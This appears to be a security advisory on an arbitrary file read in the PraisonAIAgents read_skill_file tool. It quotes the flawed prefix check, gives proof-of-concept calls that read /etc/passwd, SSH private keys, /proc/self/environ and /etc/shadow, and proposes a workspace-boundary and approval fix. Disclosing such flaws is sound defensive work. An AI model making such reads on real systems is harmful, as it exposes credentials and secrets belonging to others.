PraisonAIAgents: Arbitrary File Read via read_skill_file Missing Workspace Boundary and Approval Gate

# skill_tools.py:128-170
def read_skill_file(self, skill_path: str, file_path: str, encoding: str = 'utf-8') -> str:
    # ...
    skill_path = os.path.expanduser(skill_path)      # line 147
    if not os.path.isabs(skill_path):
        skill_path = os.path.join(self._working_directory, skill_path)
    skill_path = os.path.abspath(skill_path)          # line 150

    # ... existence checks ...

    full_path = os.path.join(skill_path, file_path)   # line 159
    full_path = os.path.abspath(full_path)             # line 160

    # Security check: ensure file is within skill directory
    if not full_path.startswith(skill_path):           # line 163
        return f"Error: Path traversal detected..."

    with open(full_path, 'r', encoding=encoding) as f:
        return f.read()                                # line 169-170

# file_tools.py:48-54 — _validate_path enforces workspace confinement
normalized = os.path.normpath(filepath)
absolute = os.path.realpath(normalized)
cwd = os.path.abspath(os.getcwd())
if os.path.commonpath([absolute, cwd]) != cwd:
    raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

from praisonaiagents.tools.skill_tools import read_skill_file

# Read /etc/passwd — skill_path="/etc", file_path="passwd"
# Line 163 check: "/etc/passwd".startswith("/etc") → True → passes
print(read_skill_file(skill_path="/etc", file_path="passwd"))

# Read SSH private keys
print(read_skill_file(skill_path="/root/.ssh", file_path="id_rsa"))

# Read process environment variables (API keys, secrets)
print(read_skill_file(skill_path="/proc/self", file_path="environ"))

# Read any file by setting skill_path to root
print(read_skill_file(skill_path="/", file_path="etc/shadow"))

# skill_tools.py — add workspace validation and approval

@require_approval(risk_level="medium")
def read_skill_file(self, skill_path: str, file_path: str, encoding: str = 'utf-8') -> str:
    try:
        skill_path = os.path.expanduser(skill_path)
        if not os.path.isabs(skill_path):
            skill_path = os.path.join(self._working_directory, skill_path)
        skill_path = os.path.abspath(skill_path)

        # NEW: Enforce workspace boundary (matching file_tools._validate_path)
        workspace = os.path.abspath(self._working_directory)
        if os.path.commonpath([skill_path, workspace]) != workspace:
            return f"Error: skill_path '{skill_path}' is outside workspace '{workspace}'"

        # ... rest of existing checks ...